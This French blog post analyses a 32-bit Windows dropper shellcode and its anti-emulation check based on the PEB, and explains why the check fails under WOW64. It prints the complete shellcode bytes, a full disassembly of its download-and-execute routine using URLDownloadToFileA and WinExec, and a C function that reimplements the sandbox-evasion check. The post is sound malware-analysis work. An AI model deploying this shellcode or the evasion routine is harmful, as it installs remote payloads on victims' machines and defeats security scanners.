mercredi 29 août 2018

Technique d'anti-reverse détection d'émulation de code


I.    Introduction


En analysant divers shellcode X32 du web, nous somme arrivé sur un shellcode code
qui avez une partie assez bizarreou peu classique au premier coup d'oeil.

le site en question est  le suivant:
"https://wasm.in/threads/pomogite-razobratsja-v-instrukcijax.22344/"

Ce qui focaliser notre attention et une partie du code de départ du shellcode X32


II.    Le shellcode 


Voici le shellcode X32 correspondant. Nous avons mis en rouge la partie qui sera étudié dans cette article même si d'autre bloc semble aussi intéressant dont la fin du shellcode.

Listing du shellcode complét

\x64\xA1\x18\x00\x00\x00\x8B\x40\x30\x8B\x40\x54\x8B\x40\x04\x8B
\x40\x04\x8B\x40\x04\x0D\x20\x00\x20\x00\x3D\x7C\x00\x77\x00\x74
\x01\xC3\x33\xC0\x64\x8B\x40\x30\x78\x0C\x8B\x40\x0C\x8B\x70\x1C
\xAD\x8B\x58\x08\xEB\x09\x8B\x40\x34\x8D\x40\x7C\x8B\x58\x3C\x6A
\x4E\x5A\xD1\xE2\x2B\xE2\x8B\xEC\xC7\x45\x10\x6E\x2E\x65\x78\xC7
\x45\x14\xFF\x01\x00\x00\xC7\x45\x00\x00\x00\x00\x00\xEB\x4F\x5A
\x52\x83\xEA\x56\x89\x55\x18\x56\x57\x8B\x73\x3C\x8B\x74\x33\x78
\x03\xF3\x56\x8B\x76\x20\x03\xF3\x33\xC9\x49\x50\x41\xAD\x33\xFF
\x36\x0F\xBE\x14\x03\x38\xF2\x74\x08\xC1\xCF\x0D\x03\xFA\x40\xEB
\xEF\x58\x3B\xF8\x75\xE5\x5E\x8B\x46\x24\x03\xC3\x66\x8B\x0C\x48
\x8B\x56\x1C\x03\xD3\x8B\x04\x8A\x03\xC3\x5F\x5E\x50\xC3\x8D\x7D
\x1C\x57\x52\xB8\x33\xCA\x8A\x5B\xE8\xA2\xFF\xFF\xFF\x32\xC0\x8B
\xF7\xF2\xAE\x4F\x8B\x45\x10\xAB\x66\x98\x66\xAB\x33\xC0\xB8\x61
\x64\x00\x00\x50\x68\x54\x68\x72\x65\x35\x24\x1C\x69\x74\x50\x54
\x53\xB8\xAA\xFC\x0D\x7C\xFF\x55\x18\x83\xC4\x0C\x50\xB0\x6C\x8A
\xE0\x98\x50\x68\x6F\x6E\x2E\x64\x68\x75\x72\x6C\x6D\x54\xB8\x8E
\x4E\x0E\xEC\xFF\x55\x18\x83\xC4\x0C\x93\x50\x33\xC0\x50\x50\x56
\x8B\x55\x18\x03\x55\x14\x52\x50\xB8\x36\x1A\x2F\x70\xFF\x55\x18
\x5B\x83\x7D\x00\x01\x0F\x85\x9E\x00\x00\x00\x6A\x00\x68\x80\x00
\x00\x00\x6A\x03\x6A\x00\x6A\x03\x68\x00\x00\x00\xC0\x56\xB8\xA5
\x17\x00\x7C\xFF\x55\x18\x89\x45\x04\x6A\x04\x68\x00\x10\x00\x00
\x68\x00\x00\x08\x00\x6A\x00\xB8\x54\xCA\xAF\x91\xFF\x55\x18\x89
\x45\x0C\x50\x6A\x00\x8D\x4D\x08\x51\x68\x00\x00\x08\x00\x50\xFF
\x75\x04\xB8\x16\x65\xFA\x10\xFF\x55\x18\x5F\x8B\x17\x83\xC7\x04
\x8B\x4D\x08\x83\xE9\x04\xE8\xA7\x00\x00\x00\x6A\x00\x6A\x00\x6A
\x00\xFF\x75\x04\xB8\xAC\x08\xDA\x76\xFF\x55\x18\x6A\x00\x8D\x4D
\x08\x51\xFF\x75\x08\xFF\x75\x0C\x83\x04\x24\x04\xFF\x75\x04\xB8
\x1F\x79\x0A\xE8\xFF\x55\x18\xFF\x75\x04\xB8\xFB\x97\xFD\x0F\xFF
\x55\x18\xC7\x45\x00\x02\x00\x00\x00\x57\x56\xB8\x98\xFE\x8A\x0E
\xFF\x55\x18\xEB\x2A\x18\x2A\xF9\xB7\xD2\x77\xB3\x01\x45\x8A\x92
\xB7\xAD\x50\x5D\xE4\x67\xF5\xE6\xC7\x1A\xBF\xAB\x1E\x10\x42\x76
\xA2\xA1\x54\x63\x09\x7B\x89\xB0\xF4\x97\x4E\x73\x93\x3F\xF1\x83
\x7D\x00\x02\x74\x60\xC7\x45\x00\x01\x00\x00\x00\xC7\x45\x10\x79
\x2E\x65\x78\xC7\x45\x14\x72\x01\x00\x00\x8B\x7D\x18\x03\x7D\x14
\xB9\x26\x00\x00\x00\x8B\x57\xFC\xE8\x05\x00\x00\x00\xE9\x7C\xFE
\xFF\xFF\x33\xC0\x8A\x07\xD2\xC8\x32\xC1\xF6\xD0\x32\xC5\x32\xC2
\x32\xC6\xD2\xC0\x02\xC1\x02\xC5\x02\xC2\x02\xC6\xD2\xC8\x2A\xC1
\x2A\xC5\xF6\xD0\x2A\xC2\x2A\xC6\xD2\xC0\xD3\xC2\x0F\xCA\x88\x07
\x47\x49\x75\xCE\xC3\xC3

En premier nous avons fait une l'analyse rapide en le passant dans notre outils d'analyse de shellcode X32. l'avantage et qui ressort les blocs déjà référencé et les Hashs classique ou commun des shellcodes.

Delà, Il parait claire que celui-ci était un dropper. Nous retrouvions les APIs assez basique d'appel de GetTempPathA, URLDownloadToFileA, WinExec ... etc.

Mais la première partie du shellcode semblé contrôler un point avant de faire son traitement et notre outil n'a pas trouvé de correspondance. Ce qui est plutôt bon signe pour regarder ce bloc en particulier.

Dont voici la capture écran écran de l'outil de désassemblage X32


Nous mettons le listing en dessous en mode "Diagram" avec reconnaissance de bloc du shellcode déjà identifié par l'outil.
 
00000000:   64 A1 18 00 00 00             MOV EAX,DWORD PTR FS:[00000018]
00000006:   8B 40 30                            MOV EAX,DWORD PTR[EAX+0x30]
00000009:   8B 40 54                            MOV EAX,DWORD PTR[EAX+0x54]
0000000C:   8B 40 04                            MOV EAX,DWORD PTR[EAX+0x04]
0000000F:   8B 40 04                            MOV EAX,DWORD PTR[EAX+0x04]
00000012:   8B 40 04                            MOV EAX,DWORD PTR[EAX+0x04]
00000015:   0D 20 00 20 00                  OR EAX,00200020h
0000001A:   3D 7C 00 77 00                 CMP EAX,0077007Ch ( 0077007Ch ('|') Mirror > '')
0000001F:   74 01                                  JZ 0x01 (+01h ->:00000022)
00000021:   C3                                      RET
00000022 -> 0000003E:  =>{BLOC}[AsmGetKernel32_V14 -> EBX] conçu pour Win9X/NT
0000003F:   6A 4E                                 PUSH 4Eh (78) 'N'
00000041:   5A                                      POP EDX
00000042:   D1 E2                                 SHL EDX,1
00000044:   2B E2                                 SUB ESP,EDX
00000046:   8B EC                                 MOV EBP,ESP
00000048:   C7 45 10 6E 2E 65 78        MOV DWORD PTR [EBP+10h], 78652E6Eh "n.ex"
0000004F:   C7 45 14 FF 01 00 00        MOV DWORD PTR [EBP+14h], 000001FFh "ÿ"
00000056:   C7 45 00 00 00 00 00        MOV DWORD PTR [EBP+00h], 00000000h ""
0000005D:   EB 4F                                 JMP 4Fh +4Fh ->:000000AE)
0000005F:   5A                                      POP EDX
00000060:   52                                       PUSH EDX
00000061:   83 EA 56                            SUB EDX,56h
00000064:   89 55 18                             MOV DWORD PTR[EBP+18h],EDX
00000067 -> 000000AD:  =>ApiCall_V2[EAX:dwHashRor13Additive,EBX:hModule]
000000AE:   8D 7D 1C                           LEA EDI,[EBP+1Ch]
000000B1:   57                                      PUSH EDI
000000B2:   52                                      PUSH EDX
000000B3:   B8 33 CA 8A 5B                MOV EAX, 5B8ACA33h (5B8ACA33=Hash[ROR13(Additive)]('GetTempPathA'))
000000B8:   E8 A2 FF FF FF                  CALL FFFFFFA2h (-5Eh ->:0000005F)
000000BD:   32 C0                                 XOR AL,AL
000000BF:   8B F7                                 MOV ESI,EDI
000000C1:   F2 AE                                 REPNE SCAS BYTE PTR ES:[EDI]
000000C3:   4F                                      DEC EDI
000000C4:   8B 45 10                            MOV EAX,DWORD PTR [EBP+10h]
000000C7:   AB                                     STOSD (Store EAX at address ES:(E)DI)
000000C8:   66 98                                 CBW
000000CA:   66 AB                               STOS WORD PTR ES:[EDI],AX
000000CC:   33 C0                                 XOR EAX,EAX
000000CE:   B8 61 64 00 00                  MOV EAX, 00006461h "ad"
000000D3:   50                                      PUSH EAX
000000D4:   68 54 68 72 65                  PUSH 65726854h "Thre" / {84 104 114 101} / < w:29285 | w:21608 >
000000D9:   35 24 1C 69 74                  XOR EAX,74691C24h
000000DE:   50                                      PUSH EAX
000000DF:   54                                      PUSH ESP
000000E0:   53                                       PUSH EBX
000000E1:   B8 AA FC 0D 7C                MOV EAX, 7C0DFCAAh (7C0DFCAA=Hash[ROR13(Additive)]('GetProcAddress'))
000000E6:   FF 55 18                             CALL DWORD PTR [EBP+18h]
000000E9:   83 C4 0C                            ADD ESP,0Ch
000000EC:   50                                      PUSH EAX
000000ED:   B0 6C                                 MOV AL,0x6C
000000EF:   8A E0                                 MOV AH,AL
000000F1:   98                                       CWDE (Convert WorD to Extended) WORD=>DWORD EAX=0000XXXX
000000F2:   50                                       PUSH EAX
000000F3:   68 6F 6E 2E 64                   PUSH 642E6E6Fh "on.d" ( 642E6E6F = ('d.no') => PILE:on.d )
000000F8:   68 75 72 6C 6D                  PUSH 6D6C7275h "urlm" ( 6D6C7275 = ('mlru') => PILE:urlm )
000000FD:   54                                      PUSH ESP
000000FE:   B8 8E 4E 0E EC                  MOV EAX, EC0E4E8Eh  (EC0E4E8E=Hash[ROR13(Additive)]('LoadLibraryA'))
00000103:   FF 55 18                             CALL DWORD PTR [EBP+18h]
00000106:   83 C4 0C                            ADD ESP,0Ch
00000109:   93                                       XCHG EAX,EBX (Exchanges (swaps) the value of 2 registers)
0000010A:   50                                      PUSH EAX
0000010B:   33 C0                                 XOR EAX,EAX
0000010D:   50                                      PUSH EAX
0000010E:   50                                       PUSH EAX
0000010F:   56                                       PUSH ESI
00000110:   8B 55 18                            MOV EDX,DWORD PTR [EBP+18h]
00000113:   03 55 14                             ADD EDX,DWORD PTR[EBP+14h]
00000116:   52                                       PUSH EDX
00000117:   50                                       PUSH EAX
00000118:   B8 36 1A 2F 70                  MOV EAX, 702F1A36h  (702F1A36=Hash[ROR13(Additive)]('URLDownloadToFileA'))
0000011D:   FF 55 18                            CALL DWORD PTR [EBP+18h]
00000120:   5B                                      POP EBX
00000121:   83 7D 00 01                       CMP DWORD PTR[EBP+00h],01h
00000125:   0F 85 9E 00 00 00              JNE 0000009Eh (+9Eh ->:000001C9)
0000012B:   6A 00                                 PUSH 00h (0) '
0000012D:   68 80 00 00 00                  PUSH 00000080h "€" / {128 0 0 0} / < w:0 | w:32768 >
00000132:   6A 03                                 PUSH 03h (3)
00000134:   6A 00                                 PUSH 00h (0)
00000136:   6A 03                                 PUSH 03h (3)
00000138:   68 00 00 00 C0                  PUSH C0000000h "" / {0 0 0 192} / < w:192 | w:0 >
0000013D:   56                                      PUSH ESI
0000013E:   B8 A5 17 00 7C                 MOV EAX, 7C0017A5h "¥"
00000143:   FF 55 18                             CALL DWORD PTR [EBP+18h]
00000146:   89 45 04                             MOV DWORD PTR[EBP+04h],EAX
00000149:   6A 04                                 PUSH 04h (4)
0000014B:   68 00 10 00 00                  PUSH 00001000h "" / {0 16 0 0} / < w:0 | w:16 >
00000150:   68 00 00 08 00                   PUSH 00080000h "" / {0 0 8 0} / < w:2048 | w:0 >
00000155:   6A 00                                 PUSH 00h (0) '
00000157:   B8 54 CA AF 91                 MOV EAX, 91AFCA54h  (91AFCA54=Hash[ROR13(Additive)]('VirtualAlloc'))
0000015C:   FF 55 18                            CALL DWORD PTR [EBP+18h]
0000015F:   89 45 0C                            MOV DWORD PTR[EBP+0Ch],EAX
00000162:   50                                       PUSH EAX
00000163:   6A 00                                 PUSH 00h (0) '
00000165:   8D 4D 08                            LEA ECX,[EBP+08h]
00000168:   51                                       PUSH ECX
00000169:   68 00 00 08 00                   PUSH 00080000h "" / {0 0 8 0} / < w:2048 | w:0 >
0000016E:   50                                       PUSH EAX
0000016F:   FF 75 04                             PUSH DWORD PTR [EBP+04h]
00000172:   B8 16 65 FA 10                  MOV EAX, 10FA6516h (10FA6516=Hash[ROR13(Additive)]('ReadFile'))
00000177:   FF 55 18                             CALL DWORD PTR [EBP+18h]
0000017A:   5F                                      POP EDI
0000017B:   8B 17                                 MOV EDX,DWORD PTR [EDI]
0000017D:   83 C7 04                            ADD EDI,04h
00000180:   8B 4D 08                            MOV ECX,DWORD PTR [EBP+08h]
00000183:   83 E9 04                             SUB ECX,04h
00000186:   E8 A7 00 00 00                  CALL 000000A7h (+A7h ->:00000232)
0000018B:   6A 00                                 PUSH 00h (0) '
0000018D:   6A 00                                 PUSH 00h (0) '
0000018F:   6A 00                                 PUSH 00h (0) '
00000191:   FF 75 04                             PUSH DWORD PTR [EBP+04h]
00000194:   B8 AC 08 DA 76                MOV EAX, 76DA08ACh (76DA08AC=Hash[ROR13(Additive)]('SetFilePointer'))
00000199:   FF 55 18                             CALL DWORD PTR [EBP+18h]
0000019C:   6A 00                                 PUSH 00h (0) '
0000019E:   8D 4D 08                            LEA ECX,[EBP+08h]
000001A1:   51                                      PUSH ECX
000001A2:   FF 75 08                            PUSH DWORD PTR [EBP+08h]
000001A5:   FF 75 0C                            PUSH DWORD PTR [EBP+0Ch]
000001A8:   83 04 24 04                       ADD DWORD PTR [ESP],04h
000001AC:   FF 75 04                            PUSH DWORD PTR [EBP+04h]
000001AF:   B8 1F 79 0A E8                 MOV EAX, E80A791Fh (E80A791F=Hash[ROR13(Additive)]('WriteFile'))
000001B4:   FF 55 18                            CALL DWORD PTR [EBP+18h]
000001B7:   FF 75 04                            PUSH DWORD PTR [EBP+04h]
000001BA:   B8 FB 97 FD 0F                 MOV EAX, 0FFD97FBh "û—ý"
000001BF:   FF 55 18                            CALL DWORD PTR [EBP+18h]
000001C2:   C7 45 00 02 00 00 00        MOV DWORD PTR [EBP+00h], 00000002h "[1]"
000001C9:   57                                      PUSH EDI
000001CA:   56                                      PUSH ESI
000001CB:   B8 98 FE 8A 0E                 MOV EAX, 0E8AFE98h  (0E8AFE98=Hash[ROR13(Additive)]('WinExec'))
000001D0:   FF 55 18                            CALL DWORD PTR [EBP+18h]
000001D3:   EB 2A                                JMP 2Ah +2Ah ->:000001FF)
000001D5:   18 2A                                 SBB BYTE PTR[EDX],CH
000001D7:   F9                                      STC         // Set Carry Flag (Arme le drapeau de retenue)
000001D8:   B7 D2                                 MOV BH,D2h
000001DA:   77 B3                                JA B3h (Jump if Above)(-4Dh ->:0000018F)
000001DC:   01 45 8A                           ADD DWORD PTR[EBP-0x76],EAX
000001DF:   92                                      XCHG EAX,EDX (Exchanges (swaps) the value of 2 registers)
000001E0:   B7 AD                                MOV BH,ADh
000001E2:   50                                       PUSH EAX
000001E3:   5D                                      POP EBP
000001E4:   E4 67                                  IN AL,0x67
000001E6:   F5                                       CMC
000001E7:   E6 C7                                 OUT 0xC7,AL
000001E9:   1A BF AB 1E 10 42            SBB BH,BYTE PTR[EDI+0x42101EAB]
000001EF:   76 A2                                 JBE A2h (rel8)(-5Eh ->:00000193)
000001F1:   A1 54 63 09 7B                  MOV EAX,DWORD PTR[7B096354h]
000001F6:   89 B0 F4 97 4E 73             MOV DWORD PTR[EAX+0x734E97F4],ESI
000001FC:   93                                      XCHG EAX,EBX (Exchanges (swaps) the value of 2 registers)
000001FD:   3F                                      AAS        (ASCII adjust AL after subtraction)
000001FE:   F1                                       ICEBP    (INT01 (ICE BreakPoint))
000001FF:   83 7D 00 02                       CMP DWORD PTR[EBP+00h],02h
00000203:   74 60                                  JZ 0x60 (+60h ->:00000265)
00000205:   C7 45 00 01 00 00 00        MOV DWORD PTR [EBP+00h], 00000001h ""
0000020C:   C7 45 10 79 2E 65 78        MOV DWORD PTR [EBP+10h], 78652E79h "y.ex"
00000213:   C7 45 14 72 01 00 00        MOV DWORD PTR [EBP+14h], 00000172h "r"
0000021A:   8B 7D 18                           MOV EDI,DWORD PTR [EBP+18h]
0000021D:   03 7D 14                            ADD EDI,DWORD PTR [EBP+14h]
00000220:   B9 26 00 00 00                  MOV ECX, 00000026h "&"
00000225:   8B 57 FC                            MOV EDX,[EDI+FCh]
00000228:   E8 05 00 00 00                   CALL 00000005h (+05h ->:00000232)
0000022D:   E9 7C FE FF FF                  JMP FFFFFE7Ch (-FFFFFE7Ch ->:000000AE)
00000232:   33 C0                                 XOR EAX,EAX
00000234:   8A 07                                 MOV AL, BYTE PTR [EDI]
00000236:   D2 C8                                 ROR AL,CL
00000238:   32 C1                                 XOR AL,CL
0000023A:   F6 D0                                 NOT AL
0000023C:   32 C5                                 XOR AL,CH
0000023E:   32 C2                                 XOR AL,DL
00000240:   32 C6                                 XOR AL,DH
00000242:   D2 C0                                 ROL AL,CL
00000244:   02 C1                                 ADD AL,CL
00000246:   02 C5                                 ADD AL,CH
00000248:   02 C2                                 ADD AL,DL
0000024A:   02 C6                                 ADD AL,DH
0000024C:   D2 C8                                 ROR AL,CL
0000024E:   2A C1                                 SUB AL,CL
00000250:   2A C5                                 SUB AL,CH
00000252:   F6 D0                                 NOT AL
00000254:   2A C2                                 SUB AL,DL
00000256:   2A C6                                 SUB AL,DH
00000258:   D2 C0                                 ROL AL,CL
0000025A:   D3 C2                                ROL EDX,CL
0000025C:   0F CA                                BSWAP EDX
0000025E:   88 07                                  MOV [EDI],AL
00000260:   47                                       INC EDI
00000261:   49                                       DEC ECX
00000262:   75 CE                                 JNZ CEh (rel8)(-32h ->:00000232)
00000264:   C3                                      RET
00000265:   C3                                      RET

La premier partie est celle qui nous intéresse à étudier dans cette article. Si une condition est pas présent le shellcode n'exécute pas son traitement conçu pour  le downloader et l'exécution de la charge.

III.    Analyse du bloc ciblé



Voici le bloc extrait qui nous intéresse à analyser.

00000000:   64 A1 18 00 00 00      MOV EAX,DWORD PTR FS:[00000018]
00000006:   8B 40 30                  MOV EAX,DWORD PTR[EAX+0x30]
00000009:   8B 40 54                  MOV EAX,DWORD PTR[EAX+0x54]
0000000C:   8B 40 04                  MOV EAX,DWORD PTR[EAX+0x04]
0000000F:   8B 40 04                  MOV EAX,DWORD PTR[EAX+0x04]
00000012:   8B 40 04                  MOV EAX,DWORD PTR[EAX+0x04]
00000015:   0D 20 00 20 00          OR EAX,00200020h
0000001A:   3D 7C 00 77 00         CMP EAX,0077007Ch ( 0077007Ch ('|') Mirror > '')
0000001F:   74 01                       JZ 01h (-00000001h ->:00000022)
00000021:   C3                           RET

Nous avons la premier line qui affecte la valeur de EAX avec le pointeur ( l'adresse )  sur la structure Thread Environment Block (TEB) en mémoire pour notre processus.

00000000:   64 A1 18 00 00 00  MOV EAX,DWORD PTR FS:[00000018]

La ligne suivant va dans la structure du TEB pour chercher le champs
( PEB*   pProcessEnvironmentBlock; ) et affecte la valeur au registre EAX ce qui correspond 
au pointeur ( l'adresse ) sur la structure Process Environment Block (PEB) en mémoire pour notre processus.
00000006:   8B 40 30                    MOV EAX,DWORD PTR[EAX+0x30]

A partir delà nous avons EAX = addresse du PEB
Maintenant ce qui est intéressant est la ligne suivant:

00000009:   8B 40 54                    MOV EAX,DWORD PTR[EAX+0x54]

Cette ligne va chercher une valeur dans la structure du PEB à l'offest 0x54
Hors cela correspond dans "void** ppReadOnlyStaticServerData"
et va atteindre le tableau  contenant un structure identique à des UNICODE_STRING 

0000000C:   8B 40 04                    MOV EAX,DWORD PTR[EAX+0x04]

Même si elle parait identique, nous appèlerons autrement pour l'instant. Cela sera détail dans la suite par rapport à un système 64 bits.

typedef struct _SERVEROBJECTDATA_UNICODE_STRING32 {
  USHORT Length;
  USHORT MaximumLength;
  PWSTR  pBuffer;
} SERVEROBJECTDATA_UNICODE_STRING32 , *PSERVEROBJECTDATA_UNICODE_STRING32 ;

Il parait alors simple de comprendre que la ligne suivant ne fait que cherche le pointeur pBuffer  ou lors de la dernier instruction EAX pointé sur premier valeur du tableaux contenant des structure SERVEROBJECTDATA_UNICODE_STRING32

0000000F:   8B 40 04                    MOV EAX,DWORD PTR[EAX+0x04]

A ce stade le registre EAX contient le pointeur vers la chaîne ( unicode ) de la premier structure SERVEROBJECTDATA_UNICODE_STRING32.

La ligne suivante sert uniquement à mettre dans EAX les 4 octets de la chaîne à partir de la  4 position.

00000012:   8B 40 04                    MOV EAX,DWORD PTR[EAX+0x04]

A ce stade EAX aura pour valeur 0x0057005C ce qui correspond "\W" en unicode.
Nous avons mis des captures pour la visualisation des étapes et des blocs en mémoire associé

 
Delà une préparation est effectué pour le bout de chaîne extrait de 4 octets soit formaté
en minuscule. l'utilisation de l'opérateur OR fait facilement cela pour les caractères alphabétiques ( A garder à l'esprit que les autres symbole cela peut change le symbole par exemple '\' deviendra '|' )

00000015:   0D 20 00 20 00       OR EAX,00200020h

Nous avons remis le tableaux Ascii qui vous permet de visualiser la mise en minuscule des caractères et la mécanique et la raison d'utilisation de l'opérateur OR






















Enfin une comparaison est faite pour connaître si la valeur du registre EAX est bien égale à celle attendu "|w". si c'est le cas on continue le programme, dans le cas contraire on arrête là.

0000001A:   3D 7C 00 77 00       CMP EAX,0077007Ch
0000001F:   74 01                          JZ 01h (-00000001h ->:00000022)
00000021:   C3                               RET
00000022:   Suite du traitement

Nous avons maintenant une visualisation complète des actions du bloc. Nous avons schématisé celui-ci au travers d'une représentation graphique.







Maintenant, nous savons a quoi sert ce code, il vérifie si le chargement par le loader Windows a été effectué du fait que cette partie du PEB au niveau du processus est construit par le loader pour définir les emplacement des éléments système

au final cela garantit que le programme qui exécute le shellcode est une application Win32 connectée au système et plus particulièrement du fait que les informations son remplie par le chargeur de Windows qui est relié au sous-système et au processus (CSRSS).

Un émulateur de code au niveau applicatif ne remplira pas cette partie étant gérer par le chargeur windows et donc sera vide ou n'importe quoi lu sur la zone pointé.

Attention cela ne concerne pas VMWare,HyperV,VirtualBox ou VirtualPC. Car dans ces cas c'est le systéme qui est virtualisé. On n'est pas au niveau du processus

Cela cible plus les Anti-virus , Sandboxie , Chrome Sandbox ... etc

IV.    Dans le monde WOW (ProcessX32 sur OS X64) ?


Maintenant comme c'est le chargeur windows qui effectué le remplisage en mémoire des référence. Ce code ne marchera pas pour des processus Win32 sur un système X64

Car comme vous le savait un processus Win32 sur un OS X64, c'est quand même au départ un processus X64 pour le chargeur qui ensuite bascule en X32 l'exécution (WOW)

En conséquence le tableau contiendra des structures propre dédier au 64 bits d'ou un tableau SERVEROBJECTDATA_UNICODE_STRING64 et là sa met ce code non compatible pour les OS 64 bits, mêmes si le processus exécutant ou portant le shellcode et un Win32.

Pour cela nous avons crée un programme Win32 intégrant les éléments vu au dessus et exécuter celui-ci sur un environnement Win7(X64) / Le programme donne deux choses importante le TEB et PEB et ce pour le bloc X32 et X64.




La partie importante par rapport au schéma du dessus est que les deux PEB que ce soit en X32 ou X64, on l'adresse pointé par "ReadOnlyStaticServerData" sur la même adresse 0x7EFE0A90. Hors cela signifie que le la structure PEB(X32) pointe vers une zone construit par le charge Windows en 64 bits.

On voit clairement les tableaux des adresses en DWORD64 et que l'adresse des "Directory Object" ce trouve à l'adresse 0x000000007EFE0AC0.
Notre bloc étudié avant ne pourra pas de ce fait fonctionner car il va prendre un DWORD à l'adresse

0x7EFE0A90 +4 qui va donnera EAX = 0x00000000.

Même si on s'occupe pas de cela et si on lisez correctement l'adresse en DWORD64

Nous aurions comme adresse pour les premier structure 0x000000007EFE0AC0. 
Nous allons donc a cette adresse en mémoire dans le processus cible les éléments suivant:







Il y également un changement, étant une zone rempli par le chargeur elle se trouve définit comme un processus X64.

Delà on peut voir que la structure est différente. Nous la mettons en dessous sous son format C

typedef struct _SERVEROBJECTDATA_UNICODE_STRING64 {
         USHORT Length;
         USHORT MaximumLength;
         DWORD pbufferX32
         DWORD64 pbufferX64;
} SERVEROBJECTDATA_UNICODE_STRING64, *SERVEROBJECTDATA_UNICODE_STRING64;

Nous voyons la mécanique windows, ils ont garder la structure initial et pour distingué l'évolution
le pBufferX32 est mis à NULL. Indiquant que celle-ci et la version X64.
Nous retrouvons donc l'adresse X64 ou ce trouve le pBufferX64, dans notre exemple sa valeur est la  suivant : 0x000000007EFE13F00

Nous allons donc à cette adresse en mémoire dans le processus cible. Et nous retrouvons la valeur attendu des données.




 En conclusion, le code étudier n'est viable seulement que pour les systèmes windows 32 bits.


V.    Codage dans une fonction C


Revenons à notre bloc, nous avons intégrer dans une fonction de la forme suivante:

bool __declspec(naked) IsCheckEmulationCodeX32V1(void)
{
         __asm
         {
                   MOV EAX,DWORD PTR FS:[0x00000018]      // Get Addr TIB in my Process
                   MOV EAX,[EAX+30h]                    // Get Addr PEB in my Process
                   MOV EAX,[EAX+54h]                             // PEB.ReadOnlyStaticServerData
                   MOV EAX,[EAX+04h]
                   MOV EAX,[EAX+04h]
                   MOV EAX,[EAX+04h]
                   OR EAX,0x00200020
                   CMP EAX,0x0077007C
                   JZ SautSignatureFound
                   RET
         SautSignatureFound:
                   XOR EAX,EAX
                   RET
         }
}

 qui permet de teste celle-ci simplement et intégrer à notre petit exemple de départ.





















Nous avons intégré cette signature dans la base de notre programme ""Easy Shellcode Analyser X32"
avec une description basique sur le bloc de la fonction cité au dessus.

Cela nous donne un rendu plus simple pour vision d'ensemble du shellcode et dans le future de croisé ce type d'évasion avec d'autre shellcode utilisant cette technique.

 



VI.    Conclusions


Nous espérons que ces quelque ligne, vous permet de mieux comprendre la mécanique utilis& et mis en oeuvre par des malwares pour ne pas être détecté ou éviter une analyse par des mécanisme d'émulation de code.

Nous venons de voir en pratique cela dans ce shellcode qui effectue une évasion lorsqu'il est exécuter dans un environnement d'émulation de code au niveau processus. L'intérêt étant assez limité étant restreint au système 32 bits et non fonctionnelle sur des environnement 64 bits même si le processus porteur du code et en 32 bits.

Mais exercice permet de mieux appréhendé les techniques et la compréhension au niveau du fonctionnement Windows interne sur la partie PEB

Une autre partie du shellcode est à creuser comme dit lors de l'introduction. Cela sera fait dans un autre article sur  la fonction de la désobfuscation présente et le mécanisme de double clés.